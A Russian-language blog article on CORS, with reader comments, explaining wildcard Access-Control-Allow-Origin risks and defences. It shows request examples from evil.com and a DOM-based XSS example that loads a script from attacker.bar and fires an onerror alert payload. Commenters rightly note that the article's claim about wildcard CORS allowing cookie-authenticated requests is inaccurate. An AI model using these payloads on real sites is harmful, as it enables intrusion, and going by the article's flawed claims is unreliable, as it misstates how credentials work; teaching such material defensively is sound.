image

 
Cross-origin resource sharing — технология современных браузеров, которая позволяет предоставить веб-странице доступ к ресурсам другого домена. В этой статье я расскажу об этой технологии, призванной обеспечить безопасность, или наоборот, поставить веб-приложение под удар.


Что такое CORS?


CORS — это механизм безопасности, который позволяет веб-странице из одного домена обращаться к ресурсу с другим доменом (кросс-доменным запросом). Без таких функций, как CORS, веб-сайты ограничиваются доступом к ресурсам одного и того же происхождения через так называемую политику единого происхождения.


Первым шагом в понимании CORS является знание того, как работают некоторые функции безопасности веб-браузеров. По умолчанию веб-браузеры не разрешают AJAX-запросы на сайты, кроме сайта, который вы посещаете. Это называется политикой единого происхождения, и это важная часть модели веб-безопасности. Совместное использование ресурсов между разными источниками (cross-origin resource sharing) — это механизм HTML 5, который дополняет политику единого происхождения для упрощения совместного использования ресурсов домена между различными веб-приложениями.


Спецификация CORS определяет набор заголовков, которые позволяют серверу и браузеру определять, какие запросы для междоменных ресурсов (изображения, таблицы стилей, сценарии, данные и т. д.) разрешены, а какие нет. CORS является техникой для ослабления правила одного источника, позволяя JavaScript на web странице обрабатывать REST API запросы от другого источника.


По своей сути, CORS это защитная оболочка для браузера. Совместное использование ресурсов между разными источниками очень важно в современном мире сложных веб-приложений, и все браузеры поддерживают его. В частности, CORS обычно используется для междоменных AJAX запросов.


Обмен запросами


Взаимодействие ресурсов начинается с отправки GET, POST или HEAD запросу к тому или иному ресурсу на сервере. Тип содержимого POST запроса ограничен application/x-www-form-urlencoded, multipart/form-data или plaintext. Запрос включает заголовок Origin, который и указывает на происхождение клиентского кода.


Веб приложение проверяет происхождение запроса и на основании Origin либо принимает запрос, либо отвергает его. Если запрос принят, запрашиваемые сервер ответит заголовком Access-Control-Allow-Origin. Этот заголовок будет указывать клиенту с каким происхождением будет разрешен доступ. Принимая во внимание, что Access-Control-Allow-Origin соответствует Origin запроса, браузер разрешит запрос.


При запросе на site.ru/resource с site.com/some будут следующие заголовки:


GET /resource
Host:site.ru
Origin: http://site.com

Если запрос принят, запрашиваемый сервер добавляет к ответу заголовок Access-Control-Allow-Origin, содержащий домен запроса site.com.


Access-Control-Allow-Origin указывает, какие домены могут обращаться к ресурсам сайта. Например, если компания имеет домены site.ru и site.com, то ее разработчики могут использовать этот заголовок, чтобы предоставить site.com доступ к ресурсам site.ru.


Access-Control-Allow-Methods определяет, какие HTTP-запросы (GET, PUT, DELETE и т. д.) могут быть использованы для доступа к ресурсам. Этот заголовок позволяет повысить безопасность, указав какие методы действительны, когда site.com обращается к ресурсам site.ru.


Access-Control-Max-Age указывает время жизни предзапроса (также он называется "предполетным") доступности того или иного метода, после которого должен быть выполнен новый запрос на тот или иной метод.


Отказ от политики запроса из белого списка


Использование правильных заголовков, методов и доверенных доменов вроде бы не позволяет злоумышленнику вклиниться в эту цепочку обмена. На самом деле это не так. И подводит здесь коварная *.


Наиболее распространенная проблема безопасности при внедрении CORS — это отказ от проверки запроса белых списков. Зачастую разработчики устанавливают значение для Access-Control-Allow-Origin в '*'. Это позволяет любому домену в Интернете получать доступ к ресурсам этого сайта.


Запрос:


GET /resource  HTTP/1.1
Host: site.ru
Referer: http://evil.com/request.html
Origin: http://evil.com

Ответ:


HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

Основания проблема кроется в том, что многие компании размещают API в пределах домена, не ограничивания к нему доступ политикой "белого списка". Это порождает уязвимость.


Attack scenario


Большинство веб-приложений использует файлы cookie для отслеживания информации о сеансе. При генерации cookie ограничены определенным доменом. При каждом HTTP запросе к этому домену браузер подставлять значение cookie, созданные для этого домена. Это относится к каждому HTTP запросу — для получения изображений, страниц или AJAX-вызовов.


Что это означает на практике: при авторизации в goodsite.ru, cookie генерируются и хранятся для этого домена. Веб-приложение goodsite.ru основано на технологии SPA и содержит REST API на goodsite.ru/api для взаимодействия с помощью AJAX. Предположим, что вы просматриваете badsite.ru, будучи авторизованным на goodsite.ru. Без ограничения Access-Control-Allow-Origin по белому списку (с указанием сайта) badsite.ru может выполнить любой разрешенный аутентифицированный запрос к goodsite.ru, даже не имея прямого доступа к сессионной cookie!


Это связано с тем, что браузер автоматически привязывает файлы cookie к goodsite.ru для любых HTTP запросов в этом домене, включая AJAX запросы от badsite.ru в goodsite.ru. Таким образом атакующий может взаимодействовать даже с вашим внутренним ресурсом, недоступным в сети интернет и находящимся в корпоративной сети.


Наглядные примеры


В качестве примера приведу код OWASP Testing Guide. Уязвимое веб-приложение, с неверно настроенной политикой Access-Control-Allow-Origin.


<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
     if(req.readyState==4 && req.status==200) {
          document.getElementById("div1").innerHTML=req.responseText;
     }
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>

Например, такой запрос будет показывать содержимое файла profile.php:


http://example.foo/main.php#profile.php

Запрос:


GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://example.foo/main.php

Ответ:


HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Type: text/html

[Response Body]

Т.к. отсутствует проверка URL-адреса, атакующий может добавить скрипт, который будет выполняться в контексте домена example.foo со следующим URL:


http://example.foo/main.php#http://attacker.bar/file.php

Запрос:


GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://example.foo/main.php
Origin: http://example.foo

Ответ:


HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: text/html

Пейлоад attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)"> 

Результат:


image


В качестве еще одного примера рекомендую ознакомиться с Stealing contact form data on www.hackerone.com using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP — публичным раскрытием уязвимости, включая небольшую видео-демонстрацию.


Защитные меры


Используйте белые списки доменов. Если такой возможности нет — размещайте API вне домена — политики CORS для sub.site.ru, site.ru и даже разным портам будут различаться.


Указывайте конкретные методы обращения.


Не используйте wildcard — CORS учитывает или * или домен.


Обязательно указывайте протокол. "Access-Control-Allow-Origin: site.ru" не будет учтён, поскольку протокол отсутствует.


При использовании Access-Control-Allow-Credentials: true всегда используется Access-Control-Allow-Origin: домен — при использовании * браузер не получит ответ.

Комментарии (7)


  1. BlackFan
    05.09.2017 15:02
    +7

    В "Attack scenario" ничего не сказано про Access-Control-Allow-Credentials, а это самый важный момент.
    Наглядный пример совершенно не в тему и больше относится к DOM Based XSS.


    веб-приложение, с неверно настроенной политикой Access-Control-Allow-Origin

    При этом в примере заголовок вообще используется только на сайте злоумышленника.


    1. LukaSafonov Автор
      05.09.2017 22:07
      +1

      Может быть не совсем удачный пример, ниже есть пример с HackerOne, правда он тоже связана с XSS.

      Про Access-Control-Allow-Credentials Вы правы — для запросов с withCredentials предусмотрено дополнительное подтверждение со стороны сервера.

      При запросе с withCredentials сервер должен вернуть уже не один, а два заголовка:

      Access-Control-Allow-Origin: домен
      Access-Control-Allow-Credentials: true


      1. fil9
        06.09.2017 16:29
        +1

        И еще стоить отметить, что значение заголовка «Access-Control-Allow-Origin» не должно равняться *. Иначе, даже если Access-Control-Allow-Credentials === true, то браузер не допустит отправку сredentials.


  1. Crocode
    05.09.2017 21:52
    +1

    Статья дает неверный посыл — 'CORS со звездочкой' (которого так боятся начинающие) НЕ ПОЗВОЛЯЕТ проводить атаки с воровством авторизационной куки.

    Для того чтобы передавались креденшиалз — требуется заголовок Access-Control-Allow-Credentials.


  1. Hacksli
    06.09.2017 02:17
    -3

    Не понял в чем дыра...


  1. mialinx
    06.09.2017 09:04

    Автор накрутил...


    Проблема 1 в том что JS на уязвимом сайте не валидирует GET параметры. С тем же успехом можно было выполнять код из GET параметра.


    Проблема 2 в том что сайт рассчитывает что браузер не делает кроссдоменных AJAX запросов. Но это не так. Браузер таки всегда делает их, а CORS управляет тем будет ли виден результат странице, сделавшей вызов.


  1. pansa
    06.09.2017 12:02

    На сайте необходима проверка csrf токена, тогда неправильный cors сильно не навредит, запрос не пройдет. А если csrf возможна, то какой уж тут cors, и без него дыра дырой.